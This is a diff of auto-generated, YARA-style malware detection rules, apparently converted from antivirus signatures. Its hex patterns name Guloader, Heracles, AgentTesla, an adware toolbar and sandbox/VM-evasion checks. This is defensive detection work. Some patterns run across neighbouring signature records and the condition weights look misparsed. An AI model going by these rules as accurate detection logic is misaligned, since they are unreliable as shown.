((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*8224) >=1 } -rule _InfrastructureShared_16457{ +rule _InfrastructureShared_17537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -193641,7 +206569,7 @@ rule _InfrastructureShared_16457{ ((#a_6b_0 & 1)*17955+(#a_d6_1 & 1)*-10407+(#a_55_3 & 1)*-11004+(#a_a0_4 & 1)*-13902) >=1 } -rule _InfrastructureShared_16458{ +rule _InfrastructureShared_17538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -193652,7 +206580,7 @@ rule _InfrastructureShared_16458{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*115) >=2 } -rule _InfrastructureShared_16459{ +rule _InfrastructureShared_17539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -193665,7 +206593,7 @@ rule _InfrastructureShared_16459{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25956+(#a_72_2 & 1)*25697+(#a_61_4 & 1)*12800) >=2 } -rule _InfrastructureShared_16460{ +rule _InfrastructureShared_17540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -193677,7 +206605,7 @@ rule _InfrastructureShared_16460{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12297+(#a_58_2 & 1)*31054) >=3 } -rule _InfrastructureShared_16461{ +rule _InfrastructureShared_17541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -193688,7 +206616,7 @@ rule _InfrastructureShared_16461{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-32768) >=3 } -rule _InfrastructureShared_16462{ +rule _InfrastructureShared_17542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -193703,7 +206631,7 @@ rule _InfrastructureShared_16462{ ((#a_41_0 & 1)*20515+(#a_68_1 & 1)*9216+(#a_2e_2 & 1)*656+(#a_00_3 & 1)*104+(#a_5c_4 & 1)*25971+(#a_61_5 & 1)*289) >=3 } -rule _InfrastructureShared_16463{ +rule _InfrastructureShared_17543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -193720,7 +206648,7 @@ rule _InfrastructureShared_16463{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*9776+(#a_70_2 & 1)*28718+(#a_01_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_0a_7 & 1)*0) >=3 } -rule _InfrastructureShared_16464{ +rule _InfrastructureShared_17544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -193731,7 +206659,7 @@ rule _InfrastructureShared_16464{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-8448) >=4 } -rule _InfrastructureShared_16465{ +rule _InfrastructureShared_17545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -193742,7 +206670,7 @@ rule _InfrastructureShared_16465{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=4 } -rule _InfrastructureShared_16466{ +rule _InfrastructureShared_17546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -193756,7 +206684,7 @@ rule _InfrastructureShared_16466{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_16467{ +rule _InfrastructureShared_17547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -193771,7 +206699,7 @@ rule _InfrastructureShared_16467{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29793+(#a_65_2 & 1)*25717+(#a_2e_3 & 1)*29285+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=5 } -rule _InfrastructureShared_16468{ +rule _InfrastructureShared_17548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -193781,12 +206709,12 @@ rule _InfrastructureShared_16468{ $a_01_2 = {6d 61 78 20 65 78 70 6c 6f 69 74 20 61 74 74 65 6d 70 74 73 20 77 69 74 68 6f 75 74 20 61 20 73 75 63 63 65 73 73 01 00 18 81 01 73 68 65 6c 6c 63 6f 64 65 20 63 6f 6e 74 61 69 6e 73 20 4e 55 4c 4c 73 00 00 78 0a 01 00 06 00 06 00 0a 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 41 73 6b 54 6f 6f 6c 62 61 72 00 01 00 15 80 01 41 73 6b 49 6e 73 74 61 6c 6c 43 68 65 63 6b 65 72 2e } //9728 $a_01_3 = {00 0f 80 01 61 73 6b 42 61 72 53 65 74 75 70 2e 65 78 65 01 00 2d 02 43 00 3a 00 2f 00 2f 00 90 02 07 2e 00 61 00 73 00 6b 00 42 00 61 00 72 00 53 00 65 00 74 00 75 00 70 00 2e 00 65 00 78 00 65 00 90 00 01 00 19 02 43 3a 2f 2f 90 02 07 2e 61 73 6b 42 61 72 53 65 74 75 70 2e 65 78 65 90 00 01 00 0f 80 } //30821 $a_42_4 = {6e 64 6c 65 4f 66 66 65 72 65 64 01 00 0e 80 01 6e 65 77 61 73 6b 74 6f 6f 6c 62 61 72 32 01 00 0e 80 01 41 73 6b 54 6f 6f 6c 62 61 72 2e 62 6d 70 01 00 0b 80 01 4d 61 6e 79 43 61 6d 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 00 00 78 0a 01 00 07 00 07 00 07 00 21 23 48 53 54 } //18689 - $a_69_5 = {33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 48 30 31 21 4d 54 42 00 01 00 23 81 01 53 6f 66 74 77 61 72 65 5c 63 61 6e 6b 65 72 65 64 6c 79 5c 73 6f 75 6e 64 68 65 61 72 74 65 64 6e 65 73 01 00 10 81 01 5c 73 61 6d 6d 65 6e 72 79 73 74 65 2e 69 6e 69 01 00 18 } //14930 + $a_69_5 = {33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 41 30 31 21 4d 54 42 00 01 00 1c 81 01 53 70 75 72 66 6c 6f 77 65 72 5c 73 6d 72 73 5c 6c 65 74 74 65 72 77 65 69 67 68 74 01 00 27 81 01 61 72 6f 6d 61 74 6f 70 68 6f 72 5c 6b 76 61 64 72 61 6e 74 65 72 6e 65 5c 53 65 } //14930 condition: ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*30062+(#a_01_2 & 1)*9728+(#a_01_3 & 1)*30821+(#a_42_4 & 1)*18689+(#a_69_5 & 1)*14930) >=6 } -rule _InfrastructureShared_16469{ +rule _InfrastructureShared_17549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -193794,16 +206722,32 @@ rule _InfrastructureShared_16469{ $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 41 73 6b 54 6f 6f 6c 62 61 72 00 01 00 15 80 01 41 73 6b 49 6e 73 74 61 6c 6c 43 68 65 63 6b 65 72 2e 65 78 65 01 00 0f 80 01 61 73 6b 42 61 72 53 65 74 75 70 2e 65 78 65 01 00 2d 02 43 00 3a 00 2f } //16675 $a_00_3 = {42 00 61 00 72 00 53 00 65 00 74 00 75 00 70 00 2e 00 65 00 78 00 65 00 90 00 01 00 19 02 43 3a 2f 2f 90 02 07 2e 61 73 6b 42 61 72 53 65 74 75 70 2e 65 78 65 90 00 01 00 0f 80 01 49 73 42 75 6e 64 6c 65 4f 66 66 65 72 65 64 01 00 0e 80 01 6e 65 77 61 73 6b 74 6f 6f 6c 62 61 72 32 01 00 0e 80 01 41 73 6b 54 6f 6f 6c 62 } //115 $a_62_4 = {70 01 00 0b 80 01 4d 61 6e 79 43 61 6d 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 } //29281 - $a_65_5 = {00 78 0a 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 48 30 31 21 4d 54 42 00 01 00 23 81 01 53 6f 66 74 77 61 72 65 5c 63 61 6e 6b 65 72 65 64 6c 79 5c 73 6f 75 6e 64 68 65 61 72 74 65 64 6e 65 73 01 00 10 81 01 5c 73 61 6d 6d 65 6e 72 79 73 74 65 2e 69 6e 69 01 00 18 81 01 38 38 5c 74 65 67 6c 74 61 67 } //25902 - $a_74_6 = {6e 65 64 76 74 2e 55 62 65 01 00 1d 81 01 69 6c 6c 75 73 6f 72 69 6c 79 20 61 66 73 6b 72 69 64 74 65 20 63 6f 77 68 61 6e 64 73 01 00 1d 81 01 7a 6f 6f 67 65 6f 6c 6f 67 69 63 61 6c 20 66 6a 65 72 64 65 70 61 72 74 65 72 6e 65 73 01 00 22 81 01 73 61 6c 73 6f 6c 61 20 69 73 } //29797 - $a_61_7 = {74 6f 6c 61 63 74 6f 6e 65 20 61 6d 62 75 6c 61 74 69 6f 01 00 17 81 01 73 74 69 6c 65 74 68 6c 65 73 20 63 6f 6e 73 74 69 74 75 74 69 6e 67 00 00 78 0a 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 56 30 31 21 4d 54 42 00 01 00 1b 81 01 6d 6f 6c 6c 75 67 69 6e 61 63 65 } //24943 - $a_6c_8 = {74 68 61 73 5c 63 6f 72 6f 64 79 01 00 24 81 01 39 39 5c 6f 76 65 72 61 6e 61 6c 79 73 69 73 5c 4e 6f 6e 6d 65 72 63 65 6e 61 72 69 65 73 33 39 2e 69 6e 69 01 00 2a 81 01 74 65 67 6e 69 6e 67 73 69 6e 64 62 79 64 65 6c 73 65 72 6e 65 5c 61 73 73 65 73 73 69 6f 6e 5c 67 61 64 } //25953 - $a_74_9 = {65 72 01 00 1d 81 01 25 25 5c 46 69 6c 6d 62 79 65 72 73 32 30 38 5c 67 6c 65 6e 64 6f 77 65 72 2e 62 72 61 01 00 11 81 01 2d 5c 70 65 6a 6c 69 6e 67 65 72 6e 65 2e 69 6e 69 01 00 0c 81 01 66 61 6b 74 6f 74 75 6d 6d 65 74 73 01 00 1b 81 01 73 6f 6c 61 61 72 65 6e 65 20 66 72 61 6e 6b 65 6e 69 61 63 65 61 65 2e 65 78 65 00 00 78 0a 01 } //28517 + $a_65_5 = {00 78 0a 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 41 30 31 21 4d 54 42 00 01 00 1c 81 01 53 70 75 72 66 6c 6f 77 65 72 5c 73 6d 72 73 5c 6c 65 74 74 65 72 77 65 69 67 68 74 01 00 27 81 01 61 72 6f 6d 61 74 6f 70 68 6f 72 5c 6b 76 61 64 72 61 6e 74 65 72 6e 65 5c 53 65 6e 73 61 74 69 6f 6e 65 6c 6c 65 73 } //25902 + $a_81_6 = {68 6f 76 65 64 73 74 6e 69 6e 67 65 6e 73 2e 62 69 61 } //1 hovedstningens.bia + $a_81_7 = {4c 79 74 68 72 61 63 65 61 65 32 31 34 2e 6a 70 67 } //1 Lythraceae214.jpg + $a_81_8 = {6f 74 68 65 72 77 68 69 74 68 65 72 5c 66 6c 6f 72 69 61 74 69 6f 6e 5c } //1 otherwhither\floriation\ + $a_81_9 = {5c 73 74 61 6d 6b 61 66 65 65 6e 73 5c 53 74 61 74 73 68 6f 73 70 69 74 61 6c 65 72 6e 65 32 31 35 2e 69 6e 69 } //1 \stamkafeens\Statshospitalerne215.ini condition: - ((#a_46_0 & 1)*16675+(#a_00_3 & 1)*115+(#a_62_4 & 1)*29281+(#a_65_5 & 1)*25902+(#a_74_6 & 1)*29797+(#a_61_7 & 1)*24943+(#a_6c_8 & 1)*25953+(#a_74_9 & 1)*28517) >=6 + ((#a_46_0 & 1)*16675+(#a_00_3 & 1)*115+(#a_62_4 & 1)*29281+(#a_65_5 & 1)*25902+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=6 } -rule _InfrastructureShared_16470{ +rule _InfrastructureShared_17550{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 41 30 31 21 4d 54 42 00 01 00 1c 81 01 53 70 75 72 66 6c 6f 77 65 72 5c 73 6d 72 73 5c 6c 65 74 74 65 72 77 65 69 67 68 74 01 00 27 81 01 61 72 6f 6d 61 74 6f 70 68 6f 72 5c 6b 76 61 64 72 61 6e } //18467 + $a_6e_1 = {5c 53 65 6e 73 61 74 69 6f 6e 65 6c 6c 65 73 01 00 12 81 01 68 6f 76 65 64 73 74 6e 69 6e 67 65 6e 73 2e 62 69 61 01 00 11 81 01 4c 79 74 68 72 61 63 65 61 65 32 31 34 2e 6a 70 67 01 00 18 81 01 6f 74 68 65 72 77 68 69 74 68 65 72 5c 66 6c 6f 72 69 61 74 69 6f 6e 5c 01 00 25 81 01 5c 73 74 61 6d 6b 61 66 65 65 6e 73 5c 53 74 61 74 73 68 6f } //25972 + $a_74_2 = {6c 65 72 6e 65 32 31 35 2e 69 6e 69 01 00 1c 81 01 5c 42 6c 61 6e 64 62 61 72 5c 6f 62 73 65 72 76 61 6e 73 65 72 6e 65 73 2e 7a 69 70 00 00 78 0a 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 48 30 31 21 4d 54 42 00 01 00 23 81 01 53 6f 66 74 77 61 72 65 5c 63 } //28787 + $a_65_3 = {65 64 6c 79 5c 73 6f 75 6e 64 68 65 61 72 74 65 64 6e 65 73 01 00 10 81 01 5c 73 61 6d 6d 65 6e 72 79 73 74 65 2e 69 6e 69 01 00 18 81 01 38 38 5c 74 65 67 6c 74 61 67 65 74 5c 74 6f 6e 65 64 76 74 2e 55 62 65 01 00 1d 81 01 69 6c 6c 75 73 6f 72 69 6c 79 20 61 66 73 6b 72 69 64 74 65 20 63 6f 77 68 61 6e 64 73 01 00 1d } //28257 + $a_6f_4 = {67 65 6f 6c 6f 67 69 63 61 6c 20 66 6a 65 72 64 65 70 61 72 74 65 72 6e 65 73 01 00 22 81 01 73 61 6c 73 6f 6c 61 20 69 73 6f 61 6c 61 6e 74 6f 6c 61 63 74 6f 6e 65 20 61 6d 62 75 6c 61 74 69 6f 01 00 17 81 01 73 74 69 6c 65 74 68 6c 65 73 20 63 6f 6e 73 74 69 74 75 74 69 6e 67 00 00 78 0a 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f } //385 + $a_72_5 = {52 56 41 56 30 31 21 4d 54 42 00 01 00 1b 81 01 6d 6f 6c 6c 75 67 69 6e 61 63 65 61 65 5c 6c 69 74 68 61 73 5c 63 6f 72 6f 64 79 01 00 24 81 01 39 39 5c 6f 76 65 72 61 6e 61 6c 79 73 69 73 5c 4e 6f 6e 6d 65 72 63 65 6e 61 72 69 65 73 33 39 2e 69 6e 69 01 00 2a 81 01 74 65 67 6e 69 6e 67 73 69 6e 64 62 } //25697 + $a_6c_6 = {65 72 6e 65 5c 61 73 73 65 73 73 69 6f 6e 5c 67 61 64 65 6f 70 74 6a 65 72 01 00 1d 81 01 25 25 5c 46 69 6c 6d 62 79 65 72 73 32 30 38 5c 67 6c 65 6e 64 6f 77 65 72 2e 62 72 61 01 00 11 81 01 2d 5c 70 65 6a 6c 69 6e 67 65 72 6e 65 2e 69 6e 69 01 00 0c 81 01 66 61 6b 74 6f 74 75 6d 6d 65 74 73 01 00 1b } //25721 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25972+(#a_74_2 & 1)*28787+(#a_65_3 & 1)*28257+(#a_6f_4 & 1)*385+(#a_72_5 & 1)*25697+(#a_6c_6 & 1)*25721) >=7 + +} +rule _InfrastructureShared_17551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -193818,7 +206762,7 @@ rule _InfrastructureShared_16470{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*11877+(#a_61_2 & 1)*28531+(#a_6e_3 & 1)*26485+(#a_5c_5 & 1)*9473+(#a_72_6 & 1)*26478) >=7 } -rule _InfrastructureShared_16471{ +rule _InfrastructureShared_17552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -193833,7 +206777,7 @@ rule _InfrastructureShared_16471{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*25965+(#a_61_3 & 1)*385+(#a_6e_4 & 1)*27497+(#a_2e_5 & 1)*25974+(#a_61_6 & 1)*29810) >=7 } -rule _InfrastructureShared_16472{ +rule _InfrastructureShared_17553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -193843,13 +206787,13 @@ rule _InfrastructureShared_16472{ $a_64_2 = {62 6c 65 01 00 11 81 01 6b 6c 6f 73 65 74 73 6b 61 61 6c 20 64 6f 77 6e 73 01 00 15 81 01 6d 65 6c 6f 73 70 69 7a 61 20 6d 61 6d 61 65 6e 73 2e 65 78 65 00 00 78 0a 01 00 07 00 07 00 0a 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 56 69 72 74 53 61 6e 64 62 6f 78 2e 41 00 01 00 1b 80 01 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 } //25974 $a_45_3 = {75 6d 5c 50 43 49 01 00 12 80 01 53 61 6e 64 62 6f 78 69 65 44 72 69 76 65 72 41 70 69 01 00 25 80 01 53 61 6e 64 62 6f 78 69 65 5f 53 69 6e 67 6c 65 49 6e 73 74 61 6e 63 65 4d 75 74 65 78 5f 43 6f 6e 74 72 6f 6c 01 00 25 80 01 53 42 49 45 5f 42 4f 58 45 44 5f 53 65 72 76 69 } //29797 $a_6e_4 = {74 43 6f 6d 70 6c 65 74 65 5f 4d 75 74 65 78 31 01 00 07 80 01 53 62 69 65 44 72 76 01 00 0c 80 01 4d 69 63 72 6f 73 6f 66 74 20 48 76 01 00 0d 80 01 56 69 72 74 75 61 6c 42 6f 78 20 48 76 01 00 0b 80 01 56 42 6f 78 4d } //25955 - $a_52_5 = {72 01 00 0c 80 01 50 61 72 61 6c 6c 65 6c 73 20 48 76 01 00 08 80 01 70 72 6c 5f 74 69 6d 65 00 00 78 0a 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 54 43 31 32 33 21 4d 54 42 00 01 00 16 81 01 62 72 69 6e 6b 65 72 6e 65 73 20 67 65 6e 64 61 72 6d 65 72 69 73 01 } //28265 - $a_01_6 = {73 69 6c 6b 61 6c 69 6e 65 20 73 76 72 65 73 74 65 73 01 00 17 81 01 28 28 5c 67 65 72 6f 6e 74 6f 6d 6f 72 70 68 6f 73 69 73 2e 53 75 72 01 00 16 81 01 53 6f 66 74 77 61 72 65 5c 75 70 61 73 73 65 6c 69 67 68 65 64 73 01 00 20 81 01 2d 5c 74 72 6f 73 69 76 65 72 73 5c 62 65 76 69 64 73 74 68 65 64 73 75 64 76 69 64 65 6c 73 65 01 00 19 81 01 28 28 5c 4d 6f 6e 6f 70 6f 6c 69 73 65 72 } //4608 + $a_52_5 = {72 01 00 0c 80 01 50 61 72 61 6c 6c 65 6c 73 20 48 76 01 00 08 80 01 70 72 6c 5f 74 69 6d 65 00 00 78 0a 01 00 08 00 08 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 50 50 4e 21 4d 54 42 00 03 00 58 03 0a 13 02 38 03 00 00 00 11 07 2a 00 11 02 20 00 01 00 00 6f 90 01 01 } //28265 + $a_38_6 = {00 00 00 11 02 11 01 6f 90 01 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*11891+(#a_64_2 & 1)*25974+(#a_45_3 & 1)*29797+(#a_6e_4 & 1)*25955+(#a_52_5 & 1)*28265+(#a_01_6 & 1)*4608) >=7 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*11891+(#a_64_2 & 1)*25974+(#a_45_3 & 1)*29797+(#a_6e_4 & 1)*25955+(#a_52_5 & 1)*28265+(#a_38_6 & 1)*0) >=7 } -rule _InfrastructureShared_16473{ +rule _InfrastructureShared_17554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -193857,16 +206801,27 @@ rule _InfrastructureShared_16473{ $a_46_0 = {57 69 6e 33 32 2f 56 69 72 74 53 61 6e 64 62 6f 78 2e 41 00 01 00 1b 80 01 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 45 6e 75 6d 5c 50 43 49 01 00 12 80 01 53 61 6e 64 62 6f 78 69 65 44 72 69 76 65 72 41 70 69 01 } //21283 $a_01_1 = {53 61 6e 64 62 6f 78 69 65 5f 53 69 6e 67 6c 65 49 6e 73 74 61 6e 63 65 4d 75 74 65 78 5f 43 6f 6e 74 72 6f 6c 01 00 25 80 01 53 42 49 45 5f 42 4f 58 45 44 5f 53 65 72 76 69 63 65 49 6e 69 74 43 6f 6d 70 6c 65 74 65 5f 4d 75 74 65 78 31 01 00 07 80 01 53 62 69 65 44 72 76 01 00 0c 80 01 4d 69 63 72 6f 73 6f 66 74 20 48 76 01 00 0d 80 01 56 69 72 74 75 61 6c 42 6f 78 20 48 76 01 00 } //9472 $a_56_2 = {6f } //-32757 o - $a_6e_3 = {52 64 72 01 00 0c 80 01 50 61 72 61 6c 6c 65 6c 73 20 48 76 01 00 08 80 01 70 72 6c 5f 74 69 6d 65 00 00 78 0a 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 54 43 31 32 33 21 4d 54 42 00 01 00 16 81 01 62 72 69 6e 6b 65 72 6e 65 73 20 67 65 6e 64 61 72 6d 65 72 69 } //19832 - $a_6c_5 = {61 6c 69 6e 65 20 73 76 72 65 73 74 65 73 01 00 17 81 01 28 28 5c 67 65 72 6f 6e 74 6f 6d 6f 72 70 68 6f 73 69 73 2e 53 75 72 01 00 16 81 01 53 6f 66 74 77 61 72 65 5c 75 70 61 73 73 65 6c 69 67 68 65 64 73 01 00 20 81 01 2d 5c 74 72 6f 73 69 76 65 72 73 5c 62 65 76 69 64 73 74 68 65 64 73 75 64 76 69 64 65 6c 73 } //29441 - $a_5c_7 = {6f 6e 6f 70 6f 6c 69 73 65 72 69 6e 67 31 37 38 2e 71 75 61 22 01 00 1b 81 01 56 65 6e 73 74 72 65 68 61 61 6e 64 73 61 } //10241 - $a_6a_8 = {65 72 6e 65 2e 61 67 62 01 00 0f 81 01 70 61 72 61 62 6f 6c 61 6e 75 73 2e 74 78 74 00 00 78 0a 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 36 32 21 4d 54 42 00 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 } //25202 - $a_01_9 = {47 65 74 43 68 61 72 01 00 20 80 01 46 69 6e 61 6c 42 72 65 61 6b 6f 75 74 2e 4d 61 69 6e 46 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 01 00 21 80 01 46 69 6e 61 6c 42 72 65 61 6b 6f 75 74 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 80 01 24 33 66 61 64 63 65 34 34 2d 39 30 33 37 2d 34 62 63 37 2d 39 32 64 30 2d 39 33 66 36 63 66 66 61 65 30 36 61 01 00 0f 80 } //1792 + $a_6e_3 = {52 64 72 01 00 0c 80 01 50 61 72 61 6c 6c 65 6c 73 20 48 76 01 00 08 80 01 70 72 6c 5f 74 69 6d 65 00 00 78 0a 01 00 08 00 08 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 50 50 4e 21 4d 54 42 00 03 00 58 03 0a 13 02 38 03 00 00 00 11 07 2a 00 11 02 20 00 01 00 00 6f 90 } //19832 + $a_00_5 = {00 00 11 02 11 01 6f 90 01 01 00 00 0a 38 } //14346 + $a_00_7 = {6f 90 01 01 00 00 0a 38 e4 ff ff ff 11 02 6f 90 01 } //529 + $a_00_9 = {00 00 00 00 02 73 0b 00 00 0a 90 00 03 00 45 03 13 04 38 00 00 00 00 00 11 04 11 03 16 73 19 00 00 0a 13 05 38 00 00 00 00 00 73 0c 00 00 0a 13 06 38 00 00 00 00 00 11 } //787 condition: - ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*9472+(#a_56_2 & 1)*-32757+(#a_6e_3 & 1)*19832+(#a_6c_5 & 1)*29441+(#a_5c_7 & 1)*10241+(#a_6a_8 & 1)*25202+(#a_01_9 & 1)*1792) >=7 + ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*9472+(#a_56_2 & 1)*-32757+(#a_6e_3 & 1)*19832+(#a_00_5 & 1)*14346+(#a_00_7 & 1)*529+(#a_00_9 & 1)*787) >=7 } -rule _InfrastructureShared_16474{ +rule _InfrastructureShared_17555{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 50 50 4e 21 4d 54 42 00 03 00 58 03 0a 13 02 38 03 00 00 00 11 07 2a 00 11 02 20 00 01 00 00 6f 90 01 01 00 00 0a 38 0e 00 00 00 11 02 11 01 6f } //21539 + $a_00_1 = {00 } //400 + $a_00_2 = {00 00 11 02 11 00 6f 90 01 01 00 00 0a 38 } //14346 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*400+(#a_00_2 & 1)*14346) >=8 + +} +rule _InfrastructureShared_17556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -193883,7 +206838,7 @@ rule _InfrastructureShared_16474{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*10280+(#a_6f_2 & 1)*28526+(#a_54_3 & 1)*8498+(#a_6c_4 & 1)*28265+(#a_72_5 & 1)*16735+(#a_72_6 & 1)*28531+(#a_01_7 & 1)*27765) >=8 } -rule _InfrastructureShared_16475{ +rule _InfrastructureShared_17557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -193901,7 +206856,7 @@ rule _InfrastructureShared_16475{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*11892+(#a_64_2 & 1)*14637+(#a_75_3 & 1)*26994+(#a_77_4 & 1)*25710+(#a_6c_5 & 1)*24946+(#a_6c_6 & 1)*25940+(#a_72_7 & 1)*21349+(#a_01_8 & 1)*30720) >=9 } -rule _InfrastructureShared_16476{ +rule _InfrastructureShared_17558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 21 " @@ -193917,7 +206872,7 @@ rule _InfrastructureShared_16476{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*28261+(#a_35_2 & 1)*385+(#a_73_3 & 1)*21620+(#a_65_4 & 1)*24910+(#a_76_6 & 1)*18689+(#a_01_7 & 1)*0) >=10 } -rule _InfrastructureShared_16477{ +rule _InfrastructureShared_17559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -193935,7 +206890,7 @@ rule _InfrastructureShared_16477{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11891+(#a_6d_2 & 1)*17253+(#a_2d_3 & 1)*14690+(#a_72_4 & 1)*25708+(#a_3a_6 & 1)*19521+(#a_6f_7 & 1)*278+(#a_6f_8 & 1)*25938+(#a_4d_9 & 1)*28257) >=10 } -rule _InfrastructureShared_16478{ +rule _InfrastructureShared_17560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0a 00 0b 00 21 " @@ -193953,7 +206908,7 @@ rule _InfrastructureShared_16478{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2314+(#a_57_2 & 1)*29812+(#a_74_4 & 1)*18177+(#a_20_5 & 1)*26977+(#a_72_6 & 1)*270+(#a_01_7 & 1)*28780+(#a_61_8 & 1)*25954+(#a_73_9 & 1)*29283) >=10 } -rule _InfrastructureShared_16479{ +rule _InfrastructureShared_17561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -193972,7 